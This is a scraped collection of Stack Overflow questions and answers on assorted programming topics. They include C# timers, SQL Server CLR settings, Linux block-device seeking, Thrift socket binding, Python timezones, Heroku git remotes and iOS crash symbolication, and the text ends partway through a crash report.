4229153	0	Making an Alarm Clock with multiple alarm times <p>I am trying to make a programmable alarm clock. It should output a melody (.wav) at different moments of time. I used a usercontrol to make a digital clock. I have a timer for showing a progressbar to every second and a button that starts the process. I know exactly the times I want so I don't need any other button. I made some functions where I complete the times I need.</p> <pre><code>public void suna3() { userControl11.Ora = 01; userControl11.Min = 37; userControl11.Sec = 50; } </code></pre> <p>and on the button click I called them. But when I start the program it is taking only the last time I made (the last function). How can I make it take all the functions?</p> <pre><code>private void button3_Click(object sender, EventArgs e) { userControl11.Activ = true; suna1(); userControl11.Activ = true; suna2(); } </code></pre>
30437523	0	 <p>Easy way to solve this issue:</p> <pre><code>var d = new Date(); d.setMinutes (d.getMinutes() + 60); d.setMinutes (0); </code></pre>
35887372	0	 <pre><code>def buildNR(nr): return 'http://file.server.com/content.asp?H=cat1&amp;NR={}&amp;T=abc'.format(nr) for line in csv.read(): nr = extract_nr(line) download_file(buildNR(nr)) </code></pre> <p>Just read the csv file and extrace the <code>NR</code> field.</p>
3166526	0	 <p>Some Points which should be true for most IDEs:</p> <ul> <li>automated generation of build scripts</li> <li>highligting of compiler errors and warnings in the source</li> <li>integration with source control svn, git, ... (subversion, egit, ...)</li> <li>code completion</li> <li>debugging</li> <li>other things (plugins)</li> </ul> <p>Eclipse against other IDEs:</p> <ul> <li>Platform independent</li> <li>Free with complete functionality</li> </ul>
16628523	0	AppDomain.CurrentDomain.BaseDirectory changes according to the app's target platform <p>I have this path set up as the path to the root dir of the application.<br> It worked perfectly until I decided to change my <code>System.Data.SQLite.dll</code> lib and my application to 32bit instead of 64bit (which I initially changed to because I downloaded the 64bit version of the sqlite lib.</p> <p><code>private string fullPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "testdb.db");</code></p> <p>The problem is that on launch, there is an error saying that the <code>access to "C:/Program Files (x86)/Microsoft Visual Studio 11.0/IDE/test.db" is denied</code>, which means that somehow <code>AppDomain.CurrentDomain.BaseDirectory</code> references to that directory instead of my application's root directory.</p> <p>What could be the cause of this?</p> <p><strong>Update</strong>: Apparently, changing the applications platform target to x64, and using the 64b version of SQLite fixes the problem...</p>
11783391	0	 <p>It should work.</p> <p>Here's how</p> <pre><code>$ echo Helloabtb | perl -0777pe 's/a/x/g' Helloxbtb $ myvar=`echo Helloabtb | perl -0777pe 's/a/x/g'` $ echo $myvar Helloxbtb </code></pre> <p>So if it works with <code>echo</code> it should work with <code>cat</code>. I suggest using backticks as shown above in my example, and try. Something like</p> <pre><code> findString=`cat $findString | perl -0777pe 's/\t/\\t/g'` </code></pre> <p>also in most probability, <code>cat</code> expects a file. So in your case <code>echo</code> might be suited as</p> <pre><code>findString=`echo $findString | perl -0777pe 's/\t/\\t/g'` </code></pre> <p>OR</p> <pre><code>findString=$(echo "$findString" | perl -0777pe 's/\t/\\t/g') </code></pre> <p>OR</p> <pre><code>command="echo $findString | perl -0777pe 's/\t/\\t/g'" findString=eval($command) </code></pre>
13601342	0	plot matlab function handle that outputs vector <p>So I have a matlab function I wrote that takes in a number and returns an array of numbers (transposed). I need to plot this function. I was trying to use fplot but it was giving me errors:</p> <pre><code>Error in fplot (line 105) x = xmin+minstep; y(2,:) = feval(fun,x,args{4:end}); </code></pre> <p>Am I using the wrong plot function?</p> <p>the function solves an equation of motion problem. I have this diff eq:</p> <pre><code>Mx'' + Cx'+ Kx = 0 </code></pre> <p>where M, C, and K are 4x4 matrices and my function solves the general solution and outputs a vector of 4 values.</p>
9041967	0	 <p>I think you need to use an adorner for a customized border. Create an adorner class that implements the OnRender to draw the chamfered corner. Then attach the adorner to the ellipse's adorner layer.</p> <pre><code>layer = AdornerLayer.GetAdornerLayer(myEllipse) layer.Add(New ChamferedAdorner(myEllipse)) </code></pre>
14750314	0	How to change data type of columns without dropping it <pre><code>CREATE TABLE DEPARTMENT( DEPARTMENT_NAME VARCHAR(25) NOT NULL PRIMARY KEY , BUDGET_CODE INT NOT NULL, OFFICE_NUM INT NOT NULL, PHONE NUMERIC NOT NULL , ); </code></pre> <p>I have this table that I am creating but i want to change budget code and office number in varchar instead of int. Is there a way to do this. this table is linked to other tables with foreign key. So i can't drop it and create a new one.</p>
23259344	0	How to get private variable from I18n yii? <p>I have a problem with multi languages from yii.</p> <p>I want the admin be able to add any languages to my system.</p> <p>Therefore I need get all country and region code languages from <code>i18n</code> <code>yii</code>.</p> <p>That means I will display a dropdown list. It has all name languages. When I select any languages. it will auto generate region code.</p> <p>Ex: I selected English, It will auto generate region code is <strong>en</strong>.</p> <p>I tried <code>$languages = Yii::app()-&gt;locale-&gt;_data;</code> to get array. But because variable <code>$_data</code> is <em>private</em>.</p> <p>This is code from Clocale class :</p> <pre><code>class CLocale extends CComponent { public static $dataPath; private $_id; private $_data; </code></pre> <p>And here is code view I called: </p> <pre><code>$languages = Yii::app()-&gt;locale-&gt;_data; var_dump($languages['languages']); </code></pre> <p>If I change private <code>$_data;</code> to <code>public $_data;</code> It will return result. But this is core from yii, therefore I can't change it.</p>
899839	0	 <p>The canonical way is to create an IBAction and hook it up to the touchUpInside event in InterfaceBuilder.app.</p> <p>Everything time a touchUpInside happens, your IBAction will be called.</p> <p>If you are creating programmatically, outside of IB, you can still hook up the IBAction.</p>
33421480	0	 <p>Google just deprecated the need for the #! scheme.</p> <p><a href="http://googlewebmastercentral.blogspot.com/2015/10/deprecating-our-ajax-crawling-scheme.html" rel="nofollow">http://googlewebmastercentral.blogspot.com/2015/10/deprecating-our-ajax-crawling-scheme.html</a></p> <p>They state: </p> <blockquote> <p>Today, as long as you're not blocking Googlebot from crawling your JavaScript or CSS files, we are generally able to render and understand your web pages like modern browsers.</p> </blockquote> <p>So now you wont really need to track anything different in Analytics!</p>
4119323	0	 <p>Have you set your DB set to Trusrtworth ON and enabled clr?</p> <p>Try this</p> <pre><code>sp_configure 'clr enabled', 1 GO RECONFIGURE GO ALTER DATABASE [YourDatabase] SET TRUSTWORTHY ON GO </code></pre> <p>I have a guide <a href="http://anyrest.wordpress.com/2010/09/06/execute-stored-procedures-in-parallel/" rel="nofollow">here</a> on how to use CLR Stored Procedures that might help.</p>
9564683	0	 <p>Looking at the code, the default seek for block devices is in <code>fs/block_dev.c</code>:</p> <pre><code>static loff_t block_llseek(struct file *file, loff_t offset, int origin) { struct inode *bd_inode = file-&gt;f_mapping-&gt;host; loff_t size; loff_t retval; mutex_lock(&amp;bd_inode-&gt;i_mutex); size = i_size_read(bd_inode); retval = -EINVAL; switch (origin) { case SEEK_END: offset += size; break; case SEEK_CUR: offset += file-&gt;f_pos; case SEEK_SET: break; default: goto out; } if (offset &gt;= 0 &amp;&amp; offset &lt;= size) { if (offset != file-&gt;f_pos) { file-&gt;f_pos = offset; } retval = offset; } out: mutex_unlock(&amp;bd_inode-&gt;i_mutex); return retval; } </code></pre> <p>No call to the specific block device. The only particular call is to <code>i_size_read</code>, that just does some SMP magic.</p>
27521806	0	How to dismiss programmatically created UIView when user taps on any part of iPhone screen <p>I am working on an app where a popup view is created programatically. Now requirement is when user taps somewhere else than that popview, I want to remove that view from superview.</p> <p>Below is my code for creating view</p> <pre><code>- (IBAction)Morebtn:(id)sender { UIView *cv = [[UIView alloc]initWithFrame:CGRectMake(200, 60, 100, 80)]; UIButton *label1 = [[UIButton alloc]initWithFrame:CGRectMake(-50,2, 200, 30)]; [label1 setTitle: @"My Button" forState: UIControlStateNormal]; label1.titleLabel.font=[UIFont fontWithName:@"SegoeUI" size:12.0]; [label1 addTarget:self action:@selector(buttonClicked:) forControlEvents:UIControlEventTouchUpInside]; [cv addSubview:label1]; UILabel *label2 = [[UILabel alloc]initWithFrame:CGRectMake(5,20, 200, 30)]; label2.text = @"Mark as unread"; label2.font=[UIFont fontWithName:@"SegoeUI" size:12.0]; [cv addSubview:label2]; //add label2 to your custom view [cv setBackgroundColor:[UIColor grayColor]]; [self.view addSubview:cv]; } </code></pre> <p>Here is my screen shot of view <img src="https://i.stack.imgur.com/Mtzfu.png" alt="enter image description here"></p>
14590175	0	 <p>You have to trim the last colon to align with java's zone info format of <code>"-0600"</code>. </p> <p>Try this:</p> <pre><code>String str = "2013-01-17T00:00:00-06:00"; new SimpleDataFormat("yyyy-MM-dd'T'hh:mm:ssZ").parse(str.replaceAll(":(..)$", "$1")); </code></pre>
34712258	0	 <p>The add function returns a boolean which you can check to determine if the item was already in the Set. This is of course based on your needs and isn't a best practice. Its good to know that it will not remove an item that is already there so it can't be depended on to update the existing value with new information if you are defining equals based on surrogate keys from your database. This is opposite the way Maps work as a map will return any existing value and replace it with the new value.</p>
28843800	0	thrift - address already in use <p>I use Ubuntu 14.04 LTS. Here is an example code which works:</p> <pre><code>boost::shared_ptr&lt;TestHandler&gt; handler(new TestHandler()); boost::shared_ptr&lt;TProcessor&gt; processor(new TestProcessor(handler)); boost::shared_ptr&lt;TServerTransport&gt; serverTransport(new TServerSocket(9090)); boost::shared_ptr&lt;TTransportFactory&gt; transportFactory(new TBufferedTransportFactory()); boost::shared_ptr&lt;TProtocolFactory&gt; protocolFactory(new TBinaryProtocolFactory()); thriftServerThread = std::thread(&amp;TSimpleServer::serve, TSimpleServer(processor, serverTransport, transportFactory, protocolFactory)); </code></pre> <p>When I run program <code>netstat -a | grep 9090</code> returns:</p> <pre><code>tcp6 0 0 [::]:9090 [::]:* LISTEN </code></pre> <p>I want to use thrift server only within a localhost so I have changed:</p> <pre><code> boost::shared_ptr&lt;TServerTransport&gt; serverTransport(new TServerSocket(9090)); </code></pre> <p>to</p> <pre><code>boost::shared_ptr&lt;TServerTransport&gt; serverTransport(new TServerSocket("127.0.0.1:9090")); </code></pre> <p>When I have run a program first time I have got following info from netstat:</p> <pre><code>unix 2 [ ACC ] STREAM LISTENING 30808 127.0.0.1:9090 </code></pre> <p>When I try to run program again even after system reboot I get an exception:</p> <blockquote> <blockquote> <p>Thrift: Tue Mar 3 13:31:40 2015 TServerSocket::listen() PATH 127.0.0.1:9090 terminate called after throwing an instance of 'apache::thrift::transport::TTransportException' what(): Could not bind: Address already in use</p> </blockquote> </blockquote> <p>Netstat doesn't find that address. What is going on ? I have debugged thrift and a function </p> <pre><code>extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len) __THROW; </code></pre> <p>declared in <strong>/usr/include/x86_64-linux-gnu/sys/socket.h</strong> returns value other than zero and next an exception is thrown. How to fix that ? When I change a port my program works but only once, then again even after system reboot I get that exception. </p>
16310394	0	CSS rollover image <p>I would like the top half of this image to display by default, and then use some CSS to make the image shift upward so that the bottom half shows when the mouse hovers over it. Here is the code and what I've tried, but it is not working. Can anyone help me make this code work?</p> <p>HTML:</p> <pre><code>&lt;div id="next"&gt; &lt;a href="page2.html"&gt;&lt;img src="images/next3.png" alt="next page"&gt;&lt;/a&gt; &lt;/div&gt; </code></pre> <p>CSS:</p> <pre><code>#next a:hover{background: url('images/next3.png') 0 -45px;} </code></pre> <p><img src="https://i.stack.imgur.com/OOGtn.png" alt="enter image description here"></p> <p>EDIT: HTML:</p> <pre><code> &lt;div id="next"&gt; &lt;/div&gt; </code></pre> <p>CSS:</p> <pre><code>#next { height:40px; width:160px; background-image:url('images/next3.png'); } #next:hover{background-position: 100% 100%;} </code></pre>
20674738	0	How to use typename in c++? <p>I have read the book named C++ primer and I don't understand the following code:</p> <pre><code>typedef typename std::vector&lt;int&gt;::size_type size_type; </code></pre> <p>Could you help me explain the use of <code>typename</code> here?</p>
18965975	0	 <p>You could get rid of columns with<code>None</code>in them like this (in either Python 2.7 or 3+):</p> <pre><code>from __future__ import print_function try: from itertools import izip except ImportError: izip = zip ra = [0, 1, 2, float('nan'), 8 , 3, 8, 5] ma = [3, float('nan'), 5, 8, 9, 6, 4, 10] op = [7, None, 7, 9, 3, 6, None, 7] ra, ma, op = izip(*(col for col in izip(ra, ma, op) if None not in col)) print('ra =', ra) print('ma =', ma) print('op =', op) </code></pre> <p>Output:</p> <pre class="lang-none prettyprint-override"><code>ra = (0, 2, nan, 8, 3, 5) ma = (3, 5, 8, 9, 6, 10) op = (7, 7, 9, 3, 6, 7) </code></pre> <p>As @Bakuriu mentioned in a comment, it might be a better to use the<code>compress()</code>function which is in the built-in<code>itertools</code>module and is therefore likely to be faster. It also eliminates the relatively slow linear search through each column of values in the above.</p> <pre><code>from itertools import compress ra, ma, op = izip(*compress(izip(ra, ma, op), (x is not None for x in op))) </code></pre>
12757460	0	 <p>When you run <code>git push heroku master</code> 'heroku' identifies the remote repository you are pushing to. In your case 'heroku' seems to be a reference to your production server. Similarly you probably have an 'origin' remote pointing to github.</p> <p>If you list your git remotes you'll probably see something like this:</p> <pre><code>&gt; git remote -v heroku git@heroku.com:heroku_app_name.git (fetch) heroku git@heroku.com:heroku_app_name.git (push) origin git@github.com:your_github_org/repo_name.git (fetch) origin git@github.com:your_github_org/repo_name.git (push) </code></pre> <p>To push to a different heroku app you can just add that app as a new git remote.</p> <pre><code>git remote add heroku-staging git@heroku.com:heroku_staging_app.git </code></pre> <p>Now you should be able to push to either remote as needed.</p> <pre><code>git push origin master //push to github git push heroku-staging //deploy to staging git push heroku master //deploy to production </code></pre> <p>In general I suggest that you should not be pushing to heroku manually. Hopefully you can have a continuous integration server watch github, run tests whenever you push changes, and deploy to staging only when your automated tests pass. You can then have a manually triggered CI task which pushes whichever commit is currently on staging to production as well (or even automate production deploys as well).</p> <p>You can perform the same configuration using the <code>heroku</code> command line. That also gives you a good way to manage environment variables and other settings on both of your heroku apps: <a href="https://devcenter.heroku.com/articles/multiple-environments">https://devcenter.heroku.com/articles/multiple-environments</a></p>
16644830	0	 <p>Try enclosing them in back-ticks like </p> <pre><code>ORDER BY `Full Name` ASC </code></pre> <p>HTH</p>
35999918	0	 <p>I think, if you delte the position: absolute; on the #nav-wrapper{} it is no more overlapping.<a href="https://i.stack.imgur.com/2My4Z.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2My4Z.png" alt="solution?"></a></p>
30827203	0	 <p>If you are using the <a href="https://developers.google.com/maps/documentation/distancematrix/" rel="nofollow">Google Maps Distance Matrix API</a>, there is another field in the <code>distance</code> object called <code>value</code> that has a Number value. As documented in the API, the units is metres.</p> <p>But to answer your original question, I would remove all non-digit characters from the string using a regular expression:</p> <pre><code>var dist = '1,525 KM'; dist = Number(dist.replace(/[^\d]/g, '')); </code></pre>
9378560	0	 <p>you should be able to use <a href="https://github.com/mootools/mootools-core/blob/master/Source/Types/Array.js#L120" rel="nofollow"><code>Array.erase</code></a> w/o any problems.</p> <p>change your remove method to:</p> <pre><code>remove: function () { this.targetElement.destroy(); Array.erase(Tags.tags, this); // reset reference } </code></pre>
4512892	0	 <p>Have you tried turning <code>Viewstate</code> off in your <code>UserControl</code>? If you're building the markup using a <code>StringBuilder</code>, then there will not be any <code>Viewstate</code> transferred back and forth for any of that markup. If you're using default ASP web controls, they will default to having <code>Viewstate</code>, which will be transferred back and forth during pageload and postbacks, and could be quite large depending on what web controls are used in the UserControl and repeated 50 to 100 times.</p> <p>Edit: If <code>Viewstate</code> is not the problem, have you verified that the markup generated by the <code>UserControl</code> is the same or reasonably equivalent to the markup you're generating in the <code>StringBuilder</code>?</p> <p>Another critical thing to do is to benchmark server and client times. If the markup is different, the client rendering times may change noticably. If the server and client times are the same (or insignificantly different) then you need to look at sizes of the server output and transfer times.</p>
6662565	0	 <p>Why have you declared val and dpayment as strings? If you want them to be numeric types then change the variable declaration and remove the ToString, i.e.</p> <pre><code>int val; double dpayment; dpayment = Convert.ToDouble(dt.Rows[1]["monthlyamount"]); val= Convert.ToInt32( dt.Rows[3]["value"]); </code></pre>
5467038	0	Adding 3rd party jars to WEB-INF/lib automatically using Eclipse/Tomcat <p>I have a dynamic-web project set up on Eclipse and I'm using Tomcat 7 as my web server. It doesn't seem to be automatically putting 3rd party JARs I add to my library on my build path into the WEB-INF/lib folder. Is there a way I can do this automatically? Every time I search for an answer to this, I find something like <a href="http://stackoverflow.com/questions/2890183/including-java-libraries-to-tomcat-inside-eclipse">this</a>.</p> <p>So how do I do that automatically? Is there a way to configure my build path to do this?</p>
12699006	0	 <p>Solved similar case a few times. It's very difficult (I call it lucky) to find solution in complicated app just from your session logging. (Oracle kills one of these sessions. One is killed and the other one lives on happily)</p> <p>Best solution is to ask your DBA (or if you have access to your oracle instalation, you can google and then get them yourself, it's not sou complicated) for trace file(this file is mentioned in exception of killed session, so search your alert log), there will be deadlock graph. (just fulltext trace file for DEADLOCK)</p> <p>Just look here for exact information how to look into your trace file. <a href="http://www.oracle-base.com/articles/misc/deadlocks.php" rel="nofollow">LINK</a></p>
29700784	0	 <p>Verify that the following line exists in your <code>page.tpl.php</code>:</p> <pre><code>&lt;?php print render($page['sidebar_second']);?&gt; </code></pre>
11525854	0	How to correctly grab and replace selected text in JavaScript? <p>Here is code: </p> <pre><code>var selection; var edited_selection; var value; var string; $("#text").select(function(){ // $("#text") is textarea value = $("#text").val(); selection = window.getSelection(); string = selection.toString(); }); $("#bold").click(function(){ edited_selection = "&lt;b&gt;" + string + "&lt;/b&gt;"; var replacing = value.replace(string, edited_selection); $("#text").val(replacing); }); </code></pre> <p>When I click on some common number or character, it will wrap the first occurence of that character or number. For example easy sentence: "Hello there". If I will try to select the last "e" from that sentence, it will select the first occurence of "e" and it will wrap like <b>e</b>, but i wanted to select the last "e". How can I do it? Thank you for answers. </p>
29849985	0	 <p>You can use Adobe Flash extension called 'Swiffy' so you can export Flash content as HTML5. Later on you can make it SCORM compatible.</p> <p>edit: up to 2MB if I'm not wrong.</p>
1176932	0	 <p>CLR does not allow multiple inheritance, which is precisely what you're trying to express. You want <code>T</code> to be <code>Address</code>, <code>Email</code> an <code>Phone</code> at the same time (I assume those are class names). Thus is impossible. What's event more, this whole method makes no sense. You'll either have to introduce a base interface for all three classes or use three overloads of an <code>Add</code> method.</p>
31177507	0	 <p>what about commit. Is autocommit on?</p> <p>or add 'commit' after your insert statement</p>
29221458	0	 <p>In the first line in question regex: </p> <pre><code>"\\\\server1\\Cold Folder1\\(title and text number.*\\.pdf)" </code></pre> <p>error is in <code>\\Cold</code> and <code>\\(title</code> - it should have double slash <code>\\\\Cold</code> and <code>\\\\(title</code></p> <p>In the second line in question regex:</p> <pre><code> @"\\server1\Cold Folder1\(title and text number.*\.pdf)" </code></pre> <p>there are two errors: </p> <ul> <li><code>\Cold</code> should have double slash to represent slash: <code>\\Cold</code> </li> <li><code>\(title</code> mean <code>(</code>, should be <code>\\(title</code> to represent <code>\</code> and <code>StartGroup</code></li> </ul> <hr> <p>Working code:</p> <pre><code>Match m = Regex.Match("\\\\server1\\Cold Folder1\\title and text number06220-03-15-2015.pdf", @"\\\\server1\\Cold Folder1\\(title and text number.*\.pdf)"); Console.WriteLine("{0} produces the filename: {1}.", m.Groups[0].Value, m.Groups[1].Value); </code></pre>
31172911	0	 <p>When a reference to a cell is made via a <code>UITableView</code>, (usually by iOS, when loading your view), iOS calls the methods in its lifecycle - e.g., <code>heightForRowAtIndexPath</code>, <code>editingStyleForRowAtIndexPath</code> to work out how to display it etc.</p> <p>So your source of an infinite loop is that you make a reference to a cell, inside a method that is called when a reference to a cell is made ;)</p> <p>To fix this, you should reference back to your data source, instead of asking the cell directly about itself. If you have a class set up as a data collection, this is easy.</p>
22065349	0	 <p>Your framework might have a default helper function which uses php's rawurlencode() function by default too. You might want to check the parameters you should pass for $this->html->link() since php's rawurlencode() function accepts only a string as a parameter.</p>
11451335	0	 <p>I assume you have been using Eclipse IDE. </p> <p>In your package explorer (usually on the left side), find your Java Project you wish to export, right click in it and choose <code>Export</code> from the menu. </p> <p>When asked for type, expand the <code>Java</code> folder icon and choose <code>Runnable JAR file</code>. </p> <p>Under <code>Launch configuration</code>, find and select your class that will run it (the one with <code>main</code> method).<br> Choose where you want to export it and what you want to do with the other, non-standard libraries you are using. </p> <p>Click on <code>Finish</code>. </p>
31350180	0	 <p>Given that the site you linked to adds the ID to the body based on the page that you are on, your css is fine (although, you have a trailing comma before the open bracket that should be removed); it's the hex code on your background color that is invalid. You have 7 characters when there should only be 6: #FFD3CEf</p> <p>Generally speaking, the best way to handle special styles on the active page link is just to add a class (ex. "active") to the link that corresponds with the current page you are on, and then apply the special styles to that .active class in your css.</p>
28188468	0	 <p>Just convert it to the right format using <code>SDL_ConvertSurfaceFormat()</code>...</p> <pre><code>SDL_Surface *image = ...; SDL_Surface *converted = SDL_ConvertSurfaceFormat( image, SDL_PIXELFORMAT_ARGB8888, 0); </code></pre>
9629264	0	Where are the option strings for an MFC Combo Box stored? <p>Given a resource file, containing a combo box definition, for a C++ MFC program, is there a way to programmatically obtain the option strings? </p> <p>When defining a dialog in the Visual Studio resource editor, one can specify the options with a <code>;</code>-delimited string. Where are these strings then stored? I understand as well that one can programmatically add strings to the dialog box during dialog init, obtaining them is another story. </p> <p>Nevertheless, my problem is that I don't have access to the dialog object, neither is it visible at the time I wish to obtain the option strings. Is that even possible?</p>
25993860	0	 <p>I used this simple html style of doing it. Works fine on ios7 and cordova 3.5 and android 4.4</p> <pre><code>&lt;a href="mailto:abc@gmail.com" data-rel='external'&gt; </code></pre> <p>I'm not even using any plugins such as inappbrowser, just in case you have that doubt.</p>
14421589	0	 <p>You can use String array for holding three string</p> <pre><code>String names[]= {"com.example.adapters.Music","com.example.adapters.Video","com.example.adapters.Photo"}; </code></pre>
26047694	0	Detecting and intercepting video playback in UIWebView <p>I would like to intercept a click in an UIWebView and then use the URL of the video. How is this possible? I found a somewhat similar post which pointed met to the </p> <pre><code>webView:shouldStartLoadWithRequest:navigationType: </code></pre> <p>delegate. I cant seem to get the loaded url of the video with this delegate.</p> <p>I am trying to get the code working in iOS8</p>
14399617	0	 <p>For accounting timezone and daylight saving time changes, the <code>datetime.datetime</code> object needs to be timezone aware, i.e. <code>tzinfo</code> property should not be <code>None</code>. This can be done by subclassing the <code>tzinfo</code> abstract class. The <code>ustimezone</code> module does exactly that.</p> <pre><code>&gt;&gt;&gt; import ustimezone &gt;&gt;&gt; from datetime import datetime, tzinfo, timedelta &gt;&gt;&gt; yesterday = datetime.now() - timedelta(days=1) &gt;&gt;&gt; yesterday datetime.datetime(2013, 1, 17, 18, 24, 22, 106445) &gt;&gt;&gt; yesterday_aware = yesterday.replace(tzinfo=ustimezone.Eastern) &gt;&gt;&gt; yesterday.strftime('%Z/%Y/%m/%d') 'EST/2013/01/17' # Will show EDT/EST depending on dst being present or not. </code></pre> <p>The dst information is captured by the <code>tm_isdst</code> value of the timetuple.</p> <pre><code>&gt;&gt;&gt; yesterday_aware.timetuple() time.struct_time(tm_year=2013, tm_mon=1, tm_mday=17, tm_hour=18, tm_min=24, tm_sec=22, tm_wday=3, tm_yday=17, tm_isdst=0) &gt;&gt;&gt; _.tm_isdst &gt;&gt;&gt; 0 # the tm_isdst flag of the time tuple can be used for checking if DST is present or not. </code></pre> <p>The <code>ustimezone</code> module here looks something like this (Borrowed from an example in Python <a href="http://docs.python.org/dev/library/datetime.html" rel="nofollow">datetime</a> reference)</p> <pre><code>from datetime import datetime, tzinfo, timedelta ZERO = timedelta(0) HOUR = timedelta(hours=1) # A complete implementation of current DST rules for major US time zones. def first_sunday_on_or_after(dt): days_to_go = 6 - dt.weekday() if days_to_go: dt += timedelta(days_to_go) return dt # US DST Rules # # This is a simplified (i.e., wrong for a few cases) set of rules for US # DST start and end times. For a complete and up-to-date set of DST rules # and timezone definitions, visit the Olson Database (or try pytz): # http://www.twinsun.com/tz/tz-link.htm # http://sourceforge.net/projects/pytz/ (might not be up-to-date) # # In the US, since 2007, DST starts at 2am (standard time) on the second # Sunday in March, which is the first Sunday on or after Mar 8. DSTSTART_2007 = datetime(1, 3, 8, 2) # and ends at 2am (DST time; 1am standard time) on the first Sunday of Nov. DSTEND_2007 = datetime(1, 11, 1, 1) # From 1987 to 2006, DST used to start at 2am (standard time) on the first # Sunday in April and to end at 2am (DST time; 1am standard time) on the last # Sunday of October, which is the first Sunday on or after Oct 25. DSTSTART_1987_2006 = datetime(1, 4, 1, 2) DSTEND_1987_2006 = datetime(1, 10, 25, 1) # From 1967 to 1986, DST used to start at 2am (standard time) on the last # Sunday in April (the one on or after April 24) and to end at 2am (DST time; # 1am standard time) on the last Sunday of October, which is the first Sunday # on or after Oct 25. DSTSTART_1967_1986 = datetime(1, 4, 24, 2) DSTEND_1967_1986 = DSTEND_1987_2006 class USTimeZone(tzinfo): def __init__(self, hours, reprname, stdname, dstname): self.stdoffset = timedelta(hours=hours) self.reprname = reprname self.stdname = stdname self.dstname = dstname def __repr__(self): return self.reprname def tzname(self, dt): if self.dst(dt): return self.dstname else: return self.stdname def utcoffset(self, dt): return self.stdoffset + self.dst(dt) def dst(self, dt): if dt is None or dt.tzinfo is None: # An exception may be sensible here, in one or both cases. # It depends on how you want to treat them. The default # fromutc() implementation (called by the default astimezone() # implementation) passes a datetime with dt.tzinfo is self. return ZERO assert dt.tzinfo is self # Find start and end times for US DST. For years before 1967, return # ZERO for no DST. if 2006 &lt; dt.year: dststart, dstend = DSTSTART_2007, DSTEND_2007 elif 1986 &lt; dt.year &lt; 2007: dststart, dstend = DSTSTART_1987_2006, DSTEND_1987_2006 elif 1966 &lt; dt.year &lt; 1987: dststart, dstend = DSTSTART_1967_1986, DSTEND_1967_1986 else: return ZERO start = first_sunday_on_or_after(dststart.replace(year=dt.year)) end = first_sunday_on_or_after(dstend.replace(year=dt.year)) # Can't compare naive to aware objects, so strip the timezone from # dt first. if start &lt;= dt.replace(tzinfo=None) &lt; end: return HOUR else: return ZERO Eastern = USTimeZone(-5, "Eastern", "EST", "EDT") </code></pre>
4579463	0	 <p>You just don't have that much control over a table's default header styles. Have your table view's delegate return a custom view for each header instead bu implementing -tableView:viewForHeaderInSection:. That view could probably be just a UILabel with the text color set to whatever you like.</p>
7347297	0	 <pre><code>[myArray addObject:[(NSArray *)[dict objectForKey:@"Added"] objectAtIndex:0]]; </code></pre>
24508139	0	 <h3>regarding second example</h3> <p>In the second exaple you have given</p> <pre><code>$("#div").someEvent(myFunction()); </code></pre> <p>the result of the function call is registered to execute on when the <code>someEvent</code> happens. So when the event is registered the function call happens and its result is assigned there. </p> <p>This approach can be used when <code>myFunction</code> is a function which returns a function when it is executed.</p> <p>like</p> <pre><code>var myFunction = function () { return function(){ myFunction(); } } </code></pre> <h3>regarding first example</h3> <pre><code>$("#div").someEvent(function(){ myFunction(); }); </code></pre> <p>you are registering an anonymous function and it will get executed when the <code>someEvent</code> happens. </p> <h3>putting it together</h3> <p>To explain more </p> <pre><code>var myFunctionGenerator = function() { return function(){ myFunction(); } } //case1 $("#div").someEvent(function(){ myFunction(); }); //case2 $("#div").someEvent(myFunctionGenerator()); </code></pre> <p>In above sample both the code sample will be doing the same job. Only difference will be that the case2 will leave the reference to the function generator even after the code is executed.</p>
36042714	0	Enterprise Library Mappings <p>Is there a way to map database fields to OOP complex type fields with Enterprise Library. I am calling stored procedures that retrieves all data that I would like to store into custom class.</p> <p>Here I retrieve data from sp:</p> <pre><code> IEnumerable&lt;WorkHistoryGrid&gt; data = new List&lt;WorkHistoryGrid&gt;(); return db.ExecuteSprocAccessor&lt;WorkHistoryGrid&gt;("PensionPDF_RetrieveParticipantWorkHistoryForFund", pensionId, fund); </code></pre> <p>And here is my class</p> <pre><code> public class WorkHistoryGrid : BindableBase { private string _rateType; private string _fundType; private string _employer; private string _employerName; private string _local; private string _dateBalanced; private string _plan; private string _fund; private WorkHistoryGridMergeData _mergeData; #region Properties public WorkHistoryGridMergeData MergeData { get { return _mergeData; } set { SetProperty(ref _mergeData, value); } } public string RateType { get { return _rateType; } set { SetProperty(ref _rateType, value); } } public string FundType { get { return _fundType; } set { SetProperty(ref _fundType, value); } } public string Employer { get { return _employer; } set { SetProperty(ref _employer, value); } } public string EmployerName { get { return _employerName; } set { SetProperty(ref _employerName, value); } } public string Local { get { return _local; } set { SetProperty(ref _local, value); } } public string DateBalanced { get { return _dateBalanced; } set { SetProperty(ref _dateBalanced, value); } } public string Plan { get { return _plan; } set { SetProperty(ref _plan, value); } } public string Fund { get { return _fund; } set { SetProperty(ref _fund, value); } } } } } </code></pre> <p>It works fine if I would create one class with all database fields, but I would like to have more control over it by mapping database fields to custom complex type properties.</p>
14964024	0	How do I symbolicate a copy/pasted crash report? <p>I have a user who is experiencing a crash using the app store version of an iPhone app. The crash is not reported via iTunes connect and the user is unable to sync with iTunes and get me the .crash file (they don't have a computer). The user is, however, able to copy and paste the crash report from the phone under "Settings > general > about > Diagnostics &amp; usage data". </p> <p>I took this users copied crash report and manually pasted it into a text file and renamed it with the .crash extension. When I import this manually created .crash report into XCode's Organizer, I am not able to symbolicate it. I am using the same copy of XCode that generated the app store binary and the ipa is archived and I am able to symbolicate crashes that come from iTunes connect.</p> <p>Is it expected that the manually created .crash file would not symbolicate or am I doing something wrong? Any help would be much appreciated!</p> <p>Thanks!</p> <p>*<strong><em>update</em>*</strong> I am also unable to symbolicate the crash report using the steps here: <a href="http://stackoverflow.com/questions/1460892/symbolicating-iphone-app-crash-reports">Symbolicating iPhone App Crash Reports</a>.</p> <p>*<strong><em>update 2</em>*</strong> Here is the crash report:</p> <pre><code>Incident Identifier: 3A2A3D26-1E44-46AA-9777-658EBBBEDD57 CrashReporter Key: a9eadbf28904a2c3b4d285c7455db9ae06a5a555 Hardware Model: iPhone5,1 Process: MyApp [1180] Path: /var/mobile/Applications/0B09C692-7C36-4398-AC77-4217401E0FC/MyApp.app/MyApp Identifier: MyApp Version: ??? (???) Code Type: ARM (Native) Parent Process: launchd [1] Date/Time: 2013-02-12 18:45:15.066 -0500 OS Version: iOS 6.1 (10B143) Report Version: 104 Exception Type: 00000020 Exception Codes: 0x000000008badf00d Highlighted Thread: 0 Application Specific Information: com.company.MyApp 